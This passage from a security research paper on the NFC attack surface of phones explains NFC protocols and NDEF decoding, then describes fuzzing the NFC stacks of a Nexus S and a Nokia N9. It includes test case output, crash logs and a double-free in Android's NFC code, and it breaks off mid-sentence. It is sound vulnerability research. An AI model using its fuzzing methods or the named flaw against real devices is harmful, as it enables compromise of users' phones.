The other mode of NFC communication is peer-to-peer (P2P). In order to do P2P, both
devices need to be powered and generate their own RF fields.
Physical and RF layer
At the lowest level, communication takes place according to ISO 14443 A-2. There are
different codings to transfer data. At 106 kbits/s, a modified Miller coding with 100%
modulation is used. In other cases, Manchester coding is used with a modulation ratio
of 10%. Figure 2 shows an FFT plot of captured NFC traffic using GNU Radio.
Figure 2: NFC traffic captured at 195k samples/second, decimated by 4, with low pass
filter at 10k
Charlie Miller: Exploring the NFC Attack Surface
The next Figure shows the waveform of some low-level data.
Figure 3: A waveform of the value “26”
From looking at the signal in Figure 3, above, which was taken between a Nexus S
Android device and an NFC tag, one can deduce that the Nexus S transmits data at a
rate of 106kbps using 100% ASK with Manchester encoding. With some effort, you can
find the signal in Figure 3 corresponds to the byte “0x26” which is a SENS_REQ
according to ISO 14443-3.
This layer is really too low for our purposes, for more information on this protocol layer,
consult [1-3].
Initialization, Anti-Collision, and Protocol Activation layer
For some types of NFC communication, there is a phase whereas two NFC enabled
devices become aware of each other and initialize their communications. There is very
little data exchanged here, and for reasons discussed in the next section, we cannot
easily fuzz this part of the protocol, so we skip any further details. For more information,
please see [4].
Protocol layer
Lower levels are focused on physical aspects and starting communication. The protocol
layer is the layer for actually transmitting the data intended to be sent or received with
the communication. In general, the data can be anything, but a typical data payload will
be described in the next section.
There are a variety of protocol layer protocols supported in most NFC devices. We’ll
briefly describe each of them.
Charlie Miller: Exploring the NFC Attack Surface
Type 1 (Topaz)
Type 1 tags use a format sometimes called the Topaz protocol, see [5]. It uses a simple
memory model which is either static for tags with memory size less than 120 bytes or
dynamic for tags with larger memory. Bytes are read/written to the tag using commands
such as RALL, READ, WRITE-E, WRITE-NE, RSEG, READ8, WRITE-E8, WRITE-N8.
MIFARE Classic
MIFARE classic tags are storage devices with simple security mechanisms for access
control. They use an NXP proprietary security protocol for authentication and ciphering.
This encryption was reverse engineered and broken in 2007 [6].
Type 2 (MIFARE UltraLight)
Type 2 tags [7] are similar to Type 1 tags. They have a static memory layout when they
have less than 64 bytes available and a dynamic layout otherwise. The first 16 bytes of
memory contain metadata like a serial number, access rights, and capability container.
The rest is for the actual data. Data is accessed using READ and WRITE commands,
see the section “Example data capture” for an example of a Type 2 transaction.
Type 3
As far as I can tell, there aren’t any tags that use Type 3 transactions, but if you care,
check out [8].
Type 4 (DESFire)
Type 4 tags contain a simple file system composed of at least 2 files, the Capability
Container (CC) file and the NDEF file. The commands include Select, ReadBinary, and
UpdateBinary. At the most basic level, the device must read the CC file, which tells it
information about the NDEF file which it can then select and read. The CC file is
typically 15 bytes in size. See [9] for more details.
LLCP (P2P)
The previous protocol layer protocols have all had initiators and targets and the
protocols are designed around the initiator being able to read/write to the target. Logical
Link Control Protocol (LLCP) is different because it establishes communication between
two peer devices. LLCP allow connections to be established and deactivated, data to
be transferred at any time when the link is established, do multiplexing, and provide
connectionless or connection-oriented transport. Each PDU contains a source and
destination address, a type, a sequence field and the LLCP payload. The different
types include things like SYMM to keep connections alive when there are no other
PDU’s available, CONNECT to establish a connection-oriented connection, and I for the
actual high level data payload. There are other types of PDU’s as well, see [10] for
details.
Application layer
While NFC can transport arbitrarily formatted data, typically it transports data in the NFC
Data Exchange Format (NDEF). It is a simple binary message format that can be used
Charlie Miller: Exploring the NFC Attack Surface
to encapsulate one or more application-defined payloads of arbitrary type and size into
a single payload. NDEF data contains different type identifiers to describe the type of
data to expect, such as URI’s, MIME types, or NFC-specific types. There are
specifications for NDEF [11] as well as for each of the well known types, see [12-13] for
example. One example NDEF is given in the next section. For clarity, and because the
NDEF format is so important for NFC, we provide another couple of examples here. We
start with a “smart poster” which is basically a URL.
0000: D1 02 18 53 70 91 01 05 54 02 65 6E 68 69 51 01 Ñ..Sp<91>..T.enhiQ.
0010: 0B 55 01 67 6F 6F 67 6C 65 2E 63 6F 6D .U.google.com
d1 - MB, ME, SR, TNF=”NFC Forum well-known type”
02 Type length
18 Payload length
53 70 Type - “Sp”
91 - MB, SR
01 Type length
05 Payload length
54 Type - “T”
02 Status byte - Length of IANA lang code
65 6E language code = “en”
68 69 “hi” text
51 - ME, SR
01 Type length
0b Payload length
55 Type - “U”
01 identifier code “http://www.”
67 6F 6F 67 6C 65 2E 63 6F 6D = “google.com” - text
The previous NDEF example had a single byte devoted to the length of the payload. To
support payloads longer than 255 bytes, a longer form of NDEF is used. (You can tell
which variant to expect by whether the SR bit is set in the first byte of the NDEF record
or not). Below is the beginning of a longer NDEF record.
0000: C1 01 00 00 01 2F 54 02 65 6E 61 61 61 61 61 61....
c1 - MB, ME, TNF=”NFC Forum well-known type”
01 Type length
00 00 01 2f Payload length
54 Type - “T”
02 - Status byte - Length of IANA lang code
65 63 - language code = “en”
61 61 61 61 61 61= “aaaaa...” - text
Charlie Miller: Exploring the NFC Attack Surface
Example data capture
Data can be captured in various ways. Perhaps the simplest way (when it works) is to
use a Proxmark3 device [14], see Figure 4, below.
Figure 4: Proxmark homemade antenna waiting for a Type 2 transaction from a
SCL3711
Below, you can see a trace obtained from an SCL 3711 NFC card reader reading from a
Mifare Ultralight tag. I added brackets to indicates bytes used for checksum purposes.
I also indicate the specification used to interpret the bytes.
<Broken out from [15]>
SENS_REQ
26
SENS_RES (NFCID1 size: double (7 bytes), Bit frame SDD)
TAG
44 00
SDD_REQ CL1
93 20
SDD_RES (CT? 04-e3-ef BCC)
TAG
88 04 e3 ef <80>
Charlie Miller: Exploring the NFC Attack Surface
SEL_REQ CL1
93
70 88 04 e3 ef 80 <99 73>
SEL_RES - Not complete, type 2
TAG
04 <da 17>
SDD_REQ CL2
95 20
SDD_RES (a2-ef-20-80 BCC)
TAG
a2 ef 20 80 <ed>
SEL_REQ CL2
95 70 a2 ef 20 80 ed <72 c8>
SEL_RES - complete, type 2
TAG
00 <fe 51>
<Broken out from [7]>
READ - 08
30 08 <4a 24>
READ Response
TAG
74 72 61 6c 69 67 68 74 3f fe 00 00 e4 f2 e3 01 <06 d5>
READ - 03
30 03 <99 9a>
READ Response
TAG
e1 10 06 00 03 17 d1 01 13 54 02 65 6e 73 75 70 <b1 62>
READ - 04
30 04 <26 ee>
READ Response
TAG
03 17 d1 01 13 54 02 65 6e 73 75 70 2c 20 75 6c <2a 00>
READ - 05
30 05 <af ff>
READ - Response
TAG
13 54 02 65 6e 73 75 70 2c 20 75 6c 74 72 61 6c <16 f6>
READ - 06
30 06 <34 cd>
READ - Response
TAG
6e 73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74 <65 db>
READ - 04
30 04 <26 ee>
READ - Response
TAG
03 17 d1 01 13 54 02 65 6e 73 75 70 2c 20 75 6c <2a 00>
READ - 05
30 05 <af ff>
READ - Response
TAG
13 54 02 65 6e 73 75 70 2c 20 75 6c 74 72 61 6c <16 f6>
READ - 06
30 06 <34 cd>
READ - Response
TAG
6e 73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74 <65 db>
READ - 07
30 07 <bd dc>
READ - Response
TAG
2c 20 75 6c 74 72 61 6c 69 67 68 74 3f fe 00 00 <8b 9e>
READ - 08
Charlie Miller: Exploring the NFC Attack Surface
30 08 <4a 24>
READ - Response
TAG
74 72 61 6c 69 67 68 74 3f fe 00 00 e4 f2 e3 01 <06 d5>
READ - 09
30 09 <c3 35>
READ - Response
TAG
69 67 68 74 3f fe 00 00 e4 f2 e3 01 e4 f2 e3 01 <15 ca>
READ - 0a
30 0a <58 07>
READ - Response
TAG
3f fe 00 00 e4 f2 e3 01 e4 f2 e3 01 30 00 00 00 <6a 52>
READ - 0b
30 0b <d1 16>
READ - Response
TAG
e4 f2 e3 01 e4 f2 e3 01 30 00 00 00 45 34 20 46 <ef 07>
READ - 0c
30 0c <6e 62>
READ - Respnose
TAG
e4 f2 e3 01 30 00 00 00 45 34 20 46 32 20 45 33 <17 e2>
READ - 0d
30 0d <e7 73>
READ - Response
TAG
30 00 00 00 45 34 20 46 32 20 45 33 04 e3 ef 80 <f1 77>
READ - 0e
30 0e <7c 41>
READ - Response
TAG
45 34 20 46 32 20 45 33 04 e3 ef 80 a2 ef 20 80 <01 7e>
READ - 0f
30 0f <f5 50>
READ - Response
TAG
32 20 45 33 04 e3 ef 80 a2 ef 20 80 ed 48 00 00 <1a 18>
SLP_REQ
50 00 <57 cd>
Pulling out the NDEF data read we find:
03 17 d1 01 13 54 02 65 6e 73 75 70 2c 20 75 6c 74 72 61 6c 69 67
68 74 3f fe 00 00 e4 f2 e3 01 30 00 00 00 45 34 20 46 32 20 45 33
04 e3 ef 80 a2 ef 20 80 ed 48 00 00
Examining this NDEF data we can see the contents:
Charlie Miller: Exploring the NFC Attack Surface
<Breaking out from [11]>
03 NDEF Message
17 length
Record 1
d1 - MB, ME, SR, TNF=”NFC Forum well-known type”
01 Type length
13 Payload length
<From [12]>
54 Type - “T”
<From [13]>
02 - Status byte - Length of IANA lang code
65 6e - language code = “en”
73 75 70 2c 20 75 6c 74 72 61 6c 69 67 68 74
3f = “sup, ultralight?” - text
Record 2
fe Terminator NDEF
Fuzzing the NFC stack
When considering the attack surface that the introduction of NFC to a device adds, the
most obvious place to start is the NFC software stack itself, the code responsible for
parsing the NFC protocols mentioned in the last section. Typically, this code will consist
of a driver for the NFC chip, a library used to communicate with the driver, and then the
OS code to deal with incoming NFC payloads including dealing with different types of
NDEF messages that might arrive. In Android, we see something like Figure 5, below.
Figure 5: NFC handling code in Android.
Charlie Miller: Exploring the NFC Attack Surface
In MeeGo it is similar, as in Figure 6, below.
Figure 6: NFC handling code in MeeGo
In such a complex stack, there certainly could be bugs lurking in any of this code that
could allow remote compromise of NFC enabled devices. Please note that in Android,
some of the components are Java apps and so memory corruption is not a possibility,
but this will vary from platform to platform. There will always be some native code
involved at the lowest levels, though.
There are various approaches to trying to find vulnerabilities in the NFC stack. A driver
that is proprietary could still be reverse engineered and analyzed. The library for the
chip on Android, libnfc.so, is open source, and so could be audited. However, one very
effective way to get started is to set up a fuzzing environment and fuzz the NFC protocol
stack.
Depending on exactly how this is to be carried out, different levels of the protocol stack
can be attacked. We considered various approaches such as doing it at the RF level
(see [2-3]) or library injection (as was done for SMS in [16]). After many trials and
errors, we settled on using card emulation with a collection of off-the-shelf NFC
hardware.
Charlie Miller: Exploring the NFC Attack Surface
For the tag types which had working card emulation functionality, we could fuzz the
protocol level and application level. We could potentially fuzz the Initialization, Anti-
Collision, and Protocol Activation layer but there isn’t much data there so it was
determined not to be a good use of time. We could not fuzz the RF layer without a fully
working software defined radio (SDR) NFC stack. Figure 7, below, shows which
protocols could be tested with this approach.
Figure 7: Fuzzing using this setup can fuzz any of the areas indicated above
Fuzzing setup
If you want to simulate various NFC tags, you need to do what is called card emulation.
This is where an NFC device acts like a passive tag. We were able to find a couple of
pieces of hardware that could perform card emulation in some circumstances. Namely,
an SCL 3711 Contactless Mobile Reader could be used with libnfc to do card emulation
of a Type 2 Mifare UltraLight tag. An ACS ACR122U can do card emulation using libnfc
of a Type 4 Mifare DESFire. Additionally, an SCL3711 can do LLCP transactions using
nfcpy. Unfortunately, there is no support for other types of tags using libnfc or nfcpy. It
would be interesting to add other tag types into libnfc for testing.
Charlie Miller: Exploring the NFC Attack Surface
Sometimes the hardware devices would hang and need to be restarted. This cannot be
accomplished in software and has to be done in hardware. In order to simulate
unplugging and replugging the USB card reader into the computer, we use a USB hub
that implements port power control. In particular, we used a DLink DUB-H7 7-Port USB
Hub. Therefore, the hardware set-up looks something like that in Figure 8, below.
Figure 8: Fuzzing hardware setup
The final step in fuzzing is to simulate someone placing the device onto the emulated
tag. In some cases, you cannot just emulate the tag with a device already in the RF
field of an NFC initiator. In order to simulate a device entering the field, a couple of
options are available. The first is to kill the NFC process and restart it when the tag is
being emulated. A slightly nicer way is to issue the SIGSTOP and SIGCONT signals,
respectively, to simulate removing/placing the Nexus S NFC reader. A final way was to
enable and disable the NFC service,in the same way the Settings application does it in
Android.
Fuzzing test cases
In general, there are two ways to generate fuzzing test cases, generation based and
mutation based. For generation based, we create test cases from “scratch”, using the
specification as a guide. For mutation based fuzzing, we take existing valid data and
inject faults into it. One of the interesting things about fuzzing is that it turns out using
Charlie Miller: Exploring the NFC Attack Surface
multiple fuzzers is often superior to using a single fuzzer. Therefore, we use an
approach to try to use both mutation and generation based fuzzers as well as
incorporate a couple of different types of mutations to add to the valid data.
Protocol layer fuzzing
On the protocol level, we used only a mutation-based approach since the fields being
fuzzed were so simple. We are constrained by the hardware and software which can do
device emulation. We only have the ability to emulate Type 2 and Type 4 tags as well
as perform basic LLCP connections. For these three types, we can fuzz at a low level,
just after the anti-collision. For other types of cards or transactions, we cannot fuzz at a
low level. In particular we cannot fuzz Type 1 (Topaz) or Type 3 (FeliCa) protocols at
this time.
For this low level fuzzing for tags, we used the nfc-emulate-forum-tag2 and nfc-emulate-
forum-tag4 programs which come with libnfc, modified to present different data before a
valid NDEF was presented. For fuzzing low level Type 2 tags, we fuzz the non-NDEF
bytes in the MiFare Ultralight’s memory. Namely, this includes the first 16 bytes of the
static memory structure (see section 2.1 in [7]).
For type 4 tags, we fuzz the Capability Container file, see section 5.1 of [9].
For LLCP, we use modified versions of the nfcpy software suite. In particular, we fuzz
the CONNECT packet and the I (Information) packet (see 4.3.10 in [10]) of the
connection. For Android we used the nfcpy script npp-test-client and for for the Nokia
N9, we used the snep-test-client. NPP is the NDEF Push Protocol which is used by
Android [17]. SNEP is the Simple NDEF Exchange Protocol used by Nokia and other
devices [18].
Application layer fuzzing
Application layer fuzzing involves creating fuzzed NDEF messages and getting them to
the device using one of the available low level protocols. As in the low level protocols,
we start with a mutation-based approach. We took many different types of NDEF
messages and added mutations to them.
Additionally, we utilized a generation-based approach to create more specialized NDEF
fuzzing test cases.
For this, we utilize the Sulley Fuzzing Framework. We created 11 different test case
generation scripts (ndef_*.py) based on a modified version of Sulley. Each will generate
many thousands of NDEF test cases to STDOUT. For example,
$ ./ndef_short_uri.py | grep -v "^\["
D1010B550036333633393934373931
D1010B550136333633393934373931
D1010B550236333633393934373931
D1010B550336333633393934373931
Charlie Miller: Exploring the NFC Attack Surface
D1010B550436333633393934373931
D1010B550536333633393934373931
D1010B550636333633393934373931
D1010B550736333633393934373931
D1010B550836333633393934373931
D1010B550936333633393934373931
...
In the above output, the fifth byte is being mutated.
$ ./ndef_short_uri.py | grep "total cases"
[10:08.08] fuzzed 0 of 1419 total cases
Sulley is designed to do everything from test case generation to sending and monitoring
during fuzzing. Since we tend to fuzz esoteric devices, it is not well suited for this, and
so my modifications to Sulley are mostly to allow it to print out test cases in a way which
are easily read by another program which will be responsible for sending the test cases
and monitoring the test device.
Results - Nexus S
We fuzzed the NFC stack on a Nexus S phone running Android 2.3.3 with the above
approaches. This was the most current version when we started fuzzing and I believe is
the most up to date version for an AT&T Nexus S using default methods of upgrade.
Protocol Layer
A total of 12,000 test cases were developed and tested against the low level NFC
protocols, see below for details.
Device
Type
Test
cases
Results/notes
Nexus S
Type 2 (UL)
4000
18 bytes of MiFare UL memory
MiFare 1k/4k
Cannot emulate at this time
Type 4 (DESFire)
4000
15 bytes of Capacity Container
ISO 14443 A-4 (PDU)
Nothing interesting to fuzz
Type 1 (Topaz)
Cannot emulate at this time
Type 3 (FelCa)
Cannot emulate at this time
LLCP - Connect
2000
19 bytes of information, some crashes
Charlie Miller: Exploring the NFC Attack Surface
Device
Type
Test
cases
Results/notes
LLCP - I
2000
13 bytes of header information, some
crashes
Application Layer
A total of 52362 test cases were performed against the Nexus S. See below for details.
Device
Type
Test
cases
Results/notes
Nexus S
NDEF - bitflip
9000
Mutation-based
NDEF - short text
1626
Generation-based
NDEF - short URI
538
Generation-based
NDEF - short SMS
1265
Generation-based
NDEF - short SP
3675
Generation-based
NDEF - short BT
1246
Generation-based
NDEF - long text
2440
Generation-based
NDEF - long vcard
32572
Generation-based
Android - Crashes
The most common crash found was of the Tags application, which is the default Android
NFC tag reader application. This application is written in Java and so crashes
correspond to Java exceptions and not, for example, memory corruption. See Figure 9,
below, for an example of what a crash looks like on the phone.
Charlie Miller: Exploring the NFC Attack Surface
Figure 9: Tags application dying
The log reveals
E/NfcService(17875): failed to parse record
E/NfcService(17875): java.lang.ArrayIndexOutOfBoundsException
E/NfcService(17875):
at com.android.nfc.NfcService
$NfcServiceHandler.parseWellKnownUriRecord(NfcService.java:2570)
E/NfcService(17875):
at com.android.nfc.NfcService
$NfcServiceHandler.setTypeOrDataFromNdef(NfcService.java:2616)
E/NfcService(17875):
at com.android.nfc.NfcService
$NfcServiceHandler.dispatchTagInternal(NfcService.java:2713)
During low level fuzzing, a different (Java) application, the NFC Service, was also seen
to crash, shown in Figure 10, below. The NFC Service is the default Android NFC
processing service. .
Charlie Miller: Exploring the NFC Attack Surface
Figure 10: The NFC service is prone to Java exceptions
The log corresponds to something like the series of exceptions below:
D/NdefPushServer( 3130): java.io.IOException
D/NdefPushServer( 3130):
at
com.android.internal.nfc.LlcpSocket.receive(LlcpSocket.java:193)
D/NdefPushServer( 3130):
at
com.android.nfc.ndefpush.NdefPushServer
$ConnectionThread.run(NdefPushServer.java:70)
D/NdefPushServer( 3130): about to close
W/dalvikvm( 3130): threadid=8: thread exiting with uncaught
exception (group=0x40015560)
E/AndroidRuntime( 3130): FATAL EXCEPTION: NdefPushServer
E/AndroidRuntime( 3130): java.lang.NegativeArraySizeException
E/AndroidRuntime( 3130):
at
com.android.nfc.ndefpush.NdefPushProtocol.<init>(NdefPushProtoco
l.java:97)
E/AndroidRuntime( 3130):
at
com.android.nfc.ndefpush.NdefPushServer
$ConnectionThread.run(NdefPushServer.java:86)
Charlie Miller: Exploring the NFC Attack Surface
Java exceptions are generally pretty boring from a security perspective. However, we
did find a few native code crashes in the handling of LLCP packets. One appears to be
a null pointer dereference caused by sending a CC (Connection Complete) packet
before a CONNECT packet. Other crashes may be more interesting and occur in libc.
One frequent crash address found corresponds to a call to abort() in libc. Normally, this
isn’t very interesting because programs may call abort when they see something has
gone wrong, which in fuzzing, is all the time! However, there is a chance it is significant
because the exception may indicate memory corruption.
One crash log from an interesting Java exception is:
D/NdefPushServer(13178): starting new server thread
D/NdefPushServer(13178): about create LLCP service socket
D/NdefPushServer(13178): created LLCP service socket
D/NdefPushServer(13178): about to accept
D/NFC JNI (13178): Discovered P2P Target
D/NfcService(13178): LLCP Activation message
E/NFC JNI (13178): phLibNfc_Llcp_CheckLlcp() returned
0x00ff[NFCSTATUS_FAILED]
I/DEBUG ( 73): *** *** *** *** *** *** *** *** *** *** *** *** *** ***
*** ***
I/DEBUG ( 73): Build fingerprint: 'google/sojua/crespo:2.3.3/
GRI54/105536:user/release-keys'
I/DEBUG ( 73): pid: 13178, tid: 13178 >>> com.android.nfc <<<
I/DEBUG ( 73): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr
0000000c
I/DEBUG ( 73): r0 afd46494 r1 00000004 r2 00000000 r3 afd46450
I/DEBUG ( 73): r4 00295530 r5 afd46450 r6 00000000 r7 40002410
I/DEBUG ( 73): r8 00000001 r9 0000008a 10 00000002 fp bed9725c
I/DEBUG ( 73): ip afd46474 sp bed97220 lr afd10e60 pc afd13d06 cpsr
00000030
I/DEBUG ( 73): d0 bed9734806293705 d1 0000000080542286
I/DEBUG ( 73): d2 000000060000008a d3 0000001500000075
I/DEBUG ( 73): d4 8040a46f0000001d d5 8040a48f00000013
I/DEBUG ( 73): d6 8040a4b600000014 d7 8040a4cc00000015
I/DEBUG ( 73): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 73): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 73): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 73): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 73): d16 0000000740af0af0 d17 3fe999999999999a
I/DEBUG ( 73): d18 42eccefa43de3400 d19 3fbc71c71c71c71c
I/DEBUG ( 73): d20 4008000000000000 d21 3fd99a27ad32ddf5
I/DEBUG ( 73): d22 3fd24998d6307188 d23 3fcc7288e957b53b
I/DEBUG ( 73): d24 3fc74721cad6b0ed d25 3fc39a09d078c69f
I/DEBUG ( 73): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 73): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 73): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 73): scr 60000012
I/DEBUG ( 73):
I/DEBUG ( 73): #00 pc 00013d06 /system/lib/libc.so
I/DEBUG ( 73): #01 pc 000144be /system/lib/libc.so
I/DEBUG ( 73): #02 pc 0004375c /system/lib/libnfc.so
I/DEBUG ( 73): #03 pc 00042b84 /system/lib/libnfc.so
Charlie Miller: Exploring the NFC Attack Surface
I/DEBUG ( 73): #04 pc 000433f4 /system/lib/libnfc.so
With some investigation you can see that the source code, found in
com_android_nfc_NativeNfcManager.cpp, reveals a classic double-free.
2047 /* Llcp methods */
2048
2049
static jboolean com_android_nfc_NfcManager_doCheckLlcp(JNIEnv *e, jobject o)
2050 {
2051 NFCSTATUS ret;
2052 jboolean result = JNI_FALSE;
2053 struct nfc_jni_native_data *nat;
2054 struct nfc_jni_callback_data *cb_data;
2055
2056
2057 CONCURRENCY_LOCK();
2058
2059 /* Memory allocation for cb_data */
2060
cb_data = (struct nfc_jni_callback_data*) malloc (sizeof(nfc_jni_callback_dat
a));
...
2081 if(ret != NFCSTATUS_PENDING && ret != NFCSTATUS_SUCCESS)
2082 {
2083 LOGE("phLibNfc_Llcp_CheckLlcp() returned 0x
%04x[%s]", ret, nfc_jni_get_status_name(ret));
2084 free(cb_data);
2085 goto clean_and_return;
2086 }
...
2101 clean_and_return:
2102 nfc_cb_data_deinit(cb_data);
2103 CONCURRENCY_UNLOCK();
2104 return result;
2105 }
The problem is that nfc_cb_data_deinit also calls free() on the buffer cb_data. This
vulnerability was fixed in ICS (4.0.1) by Google without my help. You can see by the
logging statement bolded in the crash log, this crash really is from this double free.
The fix can be seen in the git here:
http://218.211.38.204/?p=android/platform/packages/apps/
Nfc.git;a=commitdiff;h=0ce29d75b2e19075f9f287a6bdfd92a7c7e91c13;hp=4467dca565
0a170af5020c10a8ccb25f86f1007f
Even though the issue was fixed in ICS, it can still be problematic. For example, all
Gingerbread devices with NFC would still have this vulnerability. In fact, over 92% of
Android devices still run Gingerbread [19].
Charlie Miller: Exploring the NFC Attack Surface
Some other crashes were found during our testing as well which seem likely to be
memory corruption vulnerabilities. Due to the fact that logging messages are different
than those seen in the last crash we know they are different than the last crash but we
could not reliably reproduce them enough to actually find the root cause of these bugs.
Some of the backtraces are given below where we’ve added function names in braces
to illustrate more clearly the nature of the crashes.
The first one is a call to abort() from dlmalloc. It is typical to call abort from dlmalloc if
the heap is corrupted in some manner.
I/DEBUG ( 73): #00 pc 00015ca4 /system/lib/libc.so <libc_android_abort>
I/DEBUG ( 73): #01 pc 00013e08 /system/lib/libc.so <dlmalloc>
I/DEBUG ( 73): #02 pc 0001423e /system/lib/libc.so <???>
I/DEBUG ( 73): #03 pc 000142ac /system/lib/libc.so <dlrealloc>
I/DEBUG ( 73): #04 pc 0001451a /system/lib/libc.so <realloc>
I/DEBUG ( 73): #05 pc 0001abf0 /system/lib/libbinder.so
<android::Parcel::continueWrite>
I/DEBUG ( 73): #06 pc 0001ad0c /system/lib/libbinder.so
<android::Parcel::growData>
I/DEBUG ( 73): #07 pc 0001ae68 /system/lib/libbinder.so
<android::Parcel::writeInplace>
DEBUG ( 73): #08 pc 0001aea8 /system/lib/libbinder.so
<android::Parcel::writeString16>
DEBUG ( 73): #09 pc 0001aed4 /system/lib/libbinder.so
<android::Parcel::writeString16>
DEBUG ( 73): #10 pc 0001aef8 /system/lib/libbinder.so
<android::Parcel::writeInterfaceToken>
...
Another crash seen was from a call to abort from dlfree(). This usually occurs due to
heap corruption.
D/NFC JNI (27180): phLibNfc_Mgt_UnConfigureDriver() returned
0x0000[NFCSTATUS_SUCCESS]^M^M
I/DEBUG ( 73): #00 pc 00015ca4 /system/lib/libc.so <libc_android_abort>
I/DEBUG ( 73): #01 pc 00013614 /system/lib/libc.so <dlfree>
I/DEBUG ( 73): #02 pc 000144da /system/lib/libc.so <free>
I/DEBUG ( 73): #03 pc 0004996e /system/lib/libdvm.so <dvmDestroyJNI>
I/DEBUG ( 73): #04 pc 00053fda /system/lib/libdvm.so
<dvmDetachCurrentThread>
I/DEBUG ( 73): #05 pc 000494da /system/lib/libdvm.so <???>
I/DEBUG ( 73): #06 pc 00005310 /system/lib/libnfc_jni.so
<nfc_jni_client_thread>
I/DEBUG ( 73): #07 pc 000118e4 /system/lib/libc.so
<_thread_entry>
An almost identical backtrace was observed except instead of abort being called, it
actually crashed in dlfree:
D/NFC JNI (27180): phLibNfc_Mgt_UnConfigureDriver() returned
0x0000[NFCSTATUS_SUCCESS]^M^M
I/DEBUG ( 73): #00 pc 00013256 /system/lib/libc.so <dlfree>
I/DEBUG ( 73): #01 pc 000144da /system/lib/libc.so <free>
I/DEBUG ( 73): #02 pc 0004996e /system/lib/libdvm.so <dvmDestroyJNI>
Charlie Miller: Exploring the NFC Attack Surface
This crash occurs in unlink_large_chunk inside dlfree() when dereferencing p->bk.
A final call to abort from dlmalloc was seen during initialization,
I/DEBUG ( 73): #00 pc 00015ca4 /system/lib/libc.so <libc_android_abort>
I/DEBUG ( 73): #01 pc 00013e08 /system/lib/libc.so <dlmalloc>
I/DEBUG ( 73): #02 pc 000144be /system/lib/libc.so <calloc>
I/DEBUG ( 73): #03 pc 000509c8 /system/lib/libdvm.so
<dvmInitReferenceTable>
I/DEBUG ( 73): #04 pc 000533f8 /system/lib/libdvm.so <???>
I/DEBUG ( 73): #05 pc 00053454 /system/lib/libdvm.so
<dvmAttachCurrentThread>
Since these crashes are not reliably reproducible, it is hard to say if they are all
separate or a single bug, or even if they are fixed or not, without further testing and
analysis.
Results - Nokia N9
We also fuzzed the NFC stack on a Nokia N9 running MeeGo 1.2 Harmattan PR1.2 with
the same approaches described above.
Protocol Layer
A total of 12,000 test cases were developed and tested against the low level NFC
protocols, as described below.
Device
Type
Test
cases
Results/notes
Nokia N9
Type 2 (UL)
4000
18 bytes of MiFare UL memory
MiFare 1k/4k
Cannot emulate at this time
Type 4 (DESFire)
4000
15 bytes of Capacity Container
ISO 14443 A-4 (PDU)
Nothing interesting to fuzz
Type 1 (Topaz)
Cannot emulate at this time
Type 3 (FelCa)
Cannot emulate at this time
LLCP - Connect
2000
19 bytes of information
LLCP - I
2000
13 bytes of header information
Application Layer
A total of 34852 test cases were performed against the Nokia N9. See below for details.
Charlie Miller: Exploring the NFC Attack Surface
Device
Type
Test
cases
Results/notes
Nokia N9
NDEF - bitflip
9000
Mutation-based
NDEF - short text
1626
Generation-based
NDEF - short URI
538
Generation-based
NDEF - short SMS
1265
Generation-based
NDEF - short SP
3675
Generation-based
NDEF - short BT
1246
Generation-based
NDEF - long text
2440
Generation-based
NDEF - long vcard
15062
Generation-based
Crashes
No crashes were detected. Nokia N9 stack FTW, or more likely, my method is flawed in
some manner.
NFC higher level code
So far we have considered the NFC stack responsible for communicating and obtaining
NDEF messages from the outside world. Clearly, this is an important part of the attack
surface, but it is really just the first piece of the puzzle. What remains to be seen is
what the mobile device does with the NDEF data when it receives it. This section
answers that question and sees what other components of the device are related to
NFC and can be activated and used without user interaction.
Nexus S - Android 2.3.3
The first device we reviewed was a Nexus S running Android 2.3.3. As of now, there is
no supported way to update a Nexus S with AT&T baseband to Android 4. This device’s
support of NFC is pretty basic. Out of the box, NFC is enabled but doesn’t do a whole
lot. The device will process NFC data presented to it anytime the screen is on (even if
the device is locked).
Charlie Miller: Exploring the NFC Attack Surface
NFC intents are handled by the Tags application, see Figure 11, below.
Figure 11: Tags processing an NFC Smart Poster
This Java application just displays the contents but takes no real action. If you tap on
the URL, it will open up the application indicated (in this case Browser) with the included
data, in this case a URL. By default, the Tags application handles NFC data, but other
applications can register for that intent as well. When this happens, depending on the
configuration of the app, the new app either handles the NFC data instead of Tags or
allows the user to choose which app to handle NFC data, as in Figure 12, below.
Charlie Miller: Exploring the NFC Attack Surface
Figure 12: The user may choose which app to handle the NFC tag
The Tags application can display data from the following categories defined in src/com/
android/apps/tag/message/NdefMessageParser.java in the Android source code:
• Text
• SMS
• Smart Poster
• Phone call
• Vtag
• URL
• Image
In general, outside of the NFC stack, there is not much on the attack surface of this
Android phone. Large portions of the NFC code are written in Java, only a small
amount of the codebase is actually native code.
Galaxy Nexus - Android 4.0.1
The Galaxy Nexus is an Android phone running Ice Cream Sandwich. It still has some
of the same features as the Nexus S, but ICS introduced Android Beam, which greatly
increases the attack surface visible through NFC. Out of the box, the device has NFC
enabled. It will process NFC data any time the screen is on and the device is unlocked.
Charlie Miller: Exploring the NFC Attack Surface
For some types of NDEF data, it is exactly the same as the the Nexus S running
Gingerbread, using com.android.nfc to hand data off to com.google.android.tag to
display to the user. These types of data include:
• Text
• SMS
• Phone
• Image
However, some types of data that used to be handled by Tags are now handled by
Android Beam.
Android Beam is a way for two NFC-enabled Android devices to quickly share data such
as contacts, web pages, You Tube videos, directions, and apps, see [20]. One can
determine which apps are enabled with Android Beam by searching the
AndroidManifest.xml files to see which apps handle NFC intents.
For example, looking at the Android Browser, we see:
<!-- Accept inbound NFC URLs at a low priority -->
<intent-filter android:priority="-101">
<action android:name="android.nfc.action.NDEF_DISCOVERED" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="http" />
<data android:scheme="https" />
</intent-filter>
The only apps that register for these types of intents are Browser, Contacts, and Tags.
When two devices are placed close to each other, if one of them is currently showing
something that is “beamable”, the device will prompt the user if they want to send it, as
seen in Figure 13, below.
Charlie Miller: Exploring the NFC Attack Surface
Figure 13: Android asking a user to share the app they’re using, in this case Crime City
If the user chooses to beam it, the devices establish an LLCP connection and a simple
